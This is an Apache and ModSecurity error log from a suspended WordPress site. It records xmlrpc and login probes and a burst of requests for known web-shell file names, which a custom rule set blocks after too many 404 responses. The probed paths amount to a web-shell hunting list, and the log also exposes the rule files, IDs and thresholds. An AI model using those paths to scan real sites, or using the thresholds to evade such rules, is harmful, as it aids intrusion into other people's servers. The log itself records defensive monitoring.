[Sat Apr 18 22:01:20.784603 2026] [:error] [pid 9970:tid 9979] [client 49.206.97.191:26033] [client 49.206.97.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.206.97.191, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aeOOsCYdRLRhVmaIMx3PnwAAAMU"]
[Sat Apr 18 22:01:20.789763 2026] [:error] [pid 9970:tid 9979] [client 49.206.97.191:26033] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun Apr 19 03:16:59.885468 2026] [:error] [pid 32167:tid 32243] [client 45.132.115.87:20701] [client 45.132.115.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.115.87, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aePYq0yD4Jm27Mb3NJiqjwAAAJI"]
[Sun Apr 19 03:16:59.889015 2026] [:error] [pid 32167:tid 32243] [client 45.132.115.87:20701] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sun Apr 19 05:38:11.380363 2026] [:error] [pid 47775:tid 47860] [client 172.213.136.193:27020] File does not exist: /usr/local/apache/htdocs/suspended-page/golden.php
[Sun Apr 19 05:38:11.623793 2026] [:error] [pid 47775:tid 47853] [client 172.213.136.193:27020] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php
[Sun Apr 19 05:38:12.097804 2026] [:error] [pid 47775:tid 47849] [client 172.213.136.193:27020] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Sun Apr 19 05:38:12.845762 2026] [:error] [pid 47775:tid 47865] [client 172.213.136.193:27020] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-post-data.php
[Sun Apr 19 05:38:13.082088 2026] [:error] [pid 47775:tid 47864] [client 172.213.136.193:27020] File does not exist: /usr/local/apache/htdocs/suspended-page/xmu.php
[Sun Apr 19 05:38:13.369437 2026] [:error] [pid 47775:tid 47843] [client 172.213.136.193:27020] File does not exist: /usr/local/apache/htdocs/suspended-page/ref.php
[Sun Apr 19 05:38:13.668919 2026] [:error] [pid 47775:tid 47859] [client 172.213.136.193:27020] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-xme.php
[Sun Apr 19 05:38:14.143268 2026] [:error] [pid 47775:tid 47847] [client 172.213.136.193:27020] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aeP5xrmztjlk9tsmoexxwQAAAIQ"]
[Sun Apr 19 05:38:14.755641 2026] [:error] [pid 47772:tid 47802] [client 172.213.136.193:17822] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aeP5xoc0L16cb4smAz-fCgAAAA0"]
[Sun Apr 19 05:38:15.754162 2026] [:error] [pid 47772:tid 47805] [client 172.213.136.193:27014] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aeP5x4c0L16cb4smAz-fDgAAABA"]
[Sun Apr 19 05:38:16.876764 2026] [:error] [pid 15765:tid 15871] [client 172.213.136.193:27048] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aeP5yPRqinw-W5EwQ76DSgAAApI"]
[Sun Apr 19 05:38:17.480525 2026] [:error] [pid 47772:tid 47791] [client 172.213.136.193:17848] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aeP5yYc0L16cb4smAz-fFQAAAAI"]
[Sun Apr 19 05:38:18.494084 2026] [:error] [pid 47772:tid 47798] [client 172.213.136.193:21133] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aeP5yoc0L16cb4smAz-fGQAAAAk"]
[Sun Apr 19 05:38:19.258423 2026] [:error] [pid 15764:tid 15834] [client 172.213.136.193:27030] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aeP5y2LL_sqdSHoVp-TrWQAAAkg"]
[Sun Apr 19 05:38:19.920306 2026] [:error] [pid 47772:tid 47793] [client 172.213.136.193:27040] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aeP5y4c0L16cb4smAz-fHgAAAAQ"]
[Sun Apr 19 05:38:21.050389 2026] [:error] [pid 47886:tid 47897] [client 172.213.136.193:27070] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aeP5zUSe8yiyuPrD7yPsIwAAAMk"]
[Sun Apr 19 05:38:21.961094 2026] [:error] [pid 15764:tid 15831] [client 172.213.136.193:40140] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aeP5zWLL_sqdSHoVp-TrXAAAAkU"]
[Sun Apr 19 05:38:22.813992 2026] [:error] [pid 47772:tid 47797] [client 172.213.136.193:17837] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aeP5zoc0L16cb4smAz-fIwAAAAg"]
[Sun Apr 19 05:38:23.463799 2026] [:error] [pid 47772:tid 47796] [client 172.213.136.193:40136] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aeP5z4c0L16cb4smAz-fJwAAAAc"]
[Sun Apr 19 05:38:24.306761 2026] [:error] [pid 47775:tid 47856] [client 172.213.136.193:40781] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aeP50Lmztjlk9tsmoexxygAAAI0"]
[Sun Apr 19 05:38:25.244686 2026] [:error] [pid 47772:tid 47800] [client 172.213.136.193:40780] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aeP50Yc0L16cb4smAz-fKQAAAAs"]
[Sun Apr 19 05:38:26.486354 2026] [:error] [pid 15693:tid 15717] [client 172.213.136.193:17795] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aeP50sNMD-ccazQlTskV1gAAAVU"]
[Sun Apr 19 05:38:27.501270 2026] [:error] [pid 47773:tid 47826] [client 172.213.136.193:17810] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aeP50-iBHdnCJDuPq9BUqwAAAEo"]
[Sun Apr 19 05:38:28.820459 2026] [:error] [pid 47773:tid 47839] [client 172.213.136.193:40129] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aeP51OiBHdnCJDuPq9BUrwAAAFc"]
[Sun Apr 19 05:38:30.429675 2026] [:error] [pid 47773:tid 47827] [client 172.213.136.193:27036] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aeP51uiBHdnCJDuPq9BUswAAAEs"]
[Sun Apr 19 05:38:32.274063 2026] [:error] [pid 15765:tid 15856] [client 172.213.136.193:32568] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aeP52PRqinw-W5EwQ76DTAAAAoM"]
[Sun Apr 19 05:38:33.616403 2026] [:error] [pid 47773:tid 47826] [client 172.213.136.193:17833] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aeP52eiBHdnCJDuPq9BUuQAAAEo"]
[Sun Apr 19 05:38:35.131849 2026] [:error] [pid 47773:tid 47831] [client 172.213.136.193:40828] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aeP52-iBHdnCJDuPq9BUvgAAAE8"]
[Sun Apr 19 05:38:36.175506 2026] [:error] [pid 47773:tid 47816] [client 172.213.136.193:17845] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aeP53OiBHdnCJDuPq9BUwgAAAEA"]
[Sun Apr 19 05:38:37.479163 2026] [:error] [pid 15765:tid 15860] [client 172.213.136.193:40169] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aeP53fRqinw-W5EwQ76DTQAAAoc"]
[Sun Apr 19 05:38:39.459247 2026] [:error] [pid 47773:tid 47837] [client 172.213.136.193:40817] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aeP53-iBHdnCJDuPq9BUywAAAFU"]
[Sun Apr 19 05:38:40.157021 2026] [:error] [pid 47773:tid 47817] [client 172.213.136.193:40812] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeP54OiBHdnCJDuPq9BU0wAAAEE"]
[Sun Apr 19 05:38:40.967242 2026] [:error] [pid 47772:tid 47792] [client 172.213.136.193:40158] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeP54Ic0L16cb4smAz-fOwAAAAM"]
[Sun Apr 19 05:38:41.641514 2026] [:error] [pid 47772:tid 47802] [client 172.213.136.193:27062] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeP54Yc0L16cb4smAz-fPQAAAA0"]
[Sun Apr 19 05:38:42.340986 2026] [:error] [pid 47886:tid 47900] [client 172.213.136.193:40130] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aeP54kSe8yiyuPrD7yPsNgAAAMw"]
[Sun Apr 19 05:38:43.449479 2026] [:error] [pid 47775:tid 47853] [client 172.213.136.193:17842] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeP547mztjlk9tsmoexx4AAAAIo"]
[Sun Apr 19 05:38:44.128139 2026] [:error] [pid 47886:tid 47908] [client 172.213.136.193:17826] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeP55ESe8yiyuPrD7yPsPAAAANQ"]
[Sun Apr 19 05:38:45.161761 2026] [:error] [pid 47773:tid 47840] [client 172.213.136.193:40128] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeP55eiBHdnCJDuPq9BU2AAAAFg"]
[Sun Apr 19 05:38:46.831537 2026] [:error] [pid 47773:tid 47818] [client 172.213.136.193:40161] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeP55uiBHdnCJDuPq9BU2gAAAEI"]
[Sun Apr 19 05:38:47.894337 2026] [:error] [pid 15764:tid 15835] [client 172.213.136.193:40152] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aeP552LL_sqdSHoVp-TrZQAAAkk"]
[Sun Apr 19 05:38:48.881300 2026] [:error] [pid 47772:tid 47799] [client 172.213.136.193:17825] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aeP56Ic0L16cb4smAz-fRAAAAAo"]
[Sun Apr 19 05:38:49.607071 2026] [:error] [pid 47886:tid 47890] [client 172.213.136.193:27016] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aeP56USe8yiyuPrD7yPsQwAAAMI"]
[Sun Apr 19 05:38:50.231085 2026] [:error] [pid 15693:tid 15715] [client 172.213.136.193:40795] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aeP56sNMD-ccazQlTskV3wAAAVM"]
[Sun Apr 19 05:38:51.228521 2026] [:error] [pid 15765:tid 15862] [client 172.213.136.193:40816] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aeP56_Rqinw-W5EwQ76DYgAAAok"]
[Sun Apr 19 05:38:51.971095 2026] [:error] [pid 15764:tid 15846] [client 172.213.136.193:40135] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aeP562LL_sqdSHoVp-TrZwAAAlQ"]
[Sun Apr 19 05:38:52.736718 2026] [:error] [pid 47772:tid 47795] [client 172.213.136.193:40803] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aeP57Ic0L16cb4smAz-fSQAAAAY"]
[Sun Apr 19 05:38:53.966610 2026] [:error] [pid 47773:tid 47819] [client 172.213.136.193:40165] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aeP57eiBHdnCJDuPq9BU4QAAAEM"]
[Sun Apr 19 05:38:54.504827 2026] [:error] [pid 47886:tid 47912] [client 172.213.136.193:17850] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "aeP57kSe8yiyuPrD7yPsRwAAANg"]
[Sun Apr 19 05:38:55.292703 2026] [:error] [pid 15763:tid 15797] [client 172.213.136.193:40798] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "aeP577MXv1Y1THOoxaAjjgAAAgE"]
[Sun Apr 19 05:38:55.961799 2026] [:error] [pid 47886:tid 47905] [client 172.213.136.193:17806] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "aeP570Se8yiyuPrD7yPsSQAAANE"]
[Sun Apr 19 05:38:56.736685 2026] [:error] [pid 47772:tid 47806] [client 172.213.136.193:40768] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "aeP58Ic0L16cb4smAz-fSwAAABE"]
[Sun Apr 19 05:38:57.461477 2026] [:error] [pid 47773:tid 47824] [client 172.213.136.193:17830] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeP58eiBHdnCJDuPq9BU5wAAAEg"]
[Sun Apr 19 05:38:58.789705 2026] [:error] [pid 47773:tid 47825] [client 172.213.136.193:40144] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeP58uiBHdnCJDuPq9BU7AAAAEk"]
[Sun Apr 19 05:38:59.458085 2026] [:error] [pid 47773:tid 47827] [client 172.213.136.193:27023] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeP58-iBHdnCJDuPq9BU7QAAAEs"]
[Sun Apr 19 05:39:00.314405 2026] [:error] [pid 47773:tid 47836] [client 172.213.136.193:40816] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeP59OiBHdnCJDuPq9BU9QAAAFQ"]
[Sun Apr 19 05:39:01.023272 2026] [:error] [pid 15693:tid 15718] [client 172.213.136.193:21181] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ewp.php"] [unique_id "aeP59cNMD-ccazQlTskV4QAAAVY"]
[Sun Apr 19 05:39:01.713559 2026] [:error] [pid 15693:tid 15707] [client 172.213.136.193:17814] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ewp.php"] [unique_id "aeP59cNMD-ccazQlTskV5QAAAUs"]
[Sun Apr 19 05:39:02.904640 2026] [:error] [pid 47773:tid 47819] [client 172.213.136.193:27011] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ewp.php"] [unique_id "aeP59uiBHdnCJDuPq9BVAQAAAEM"]
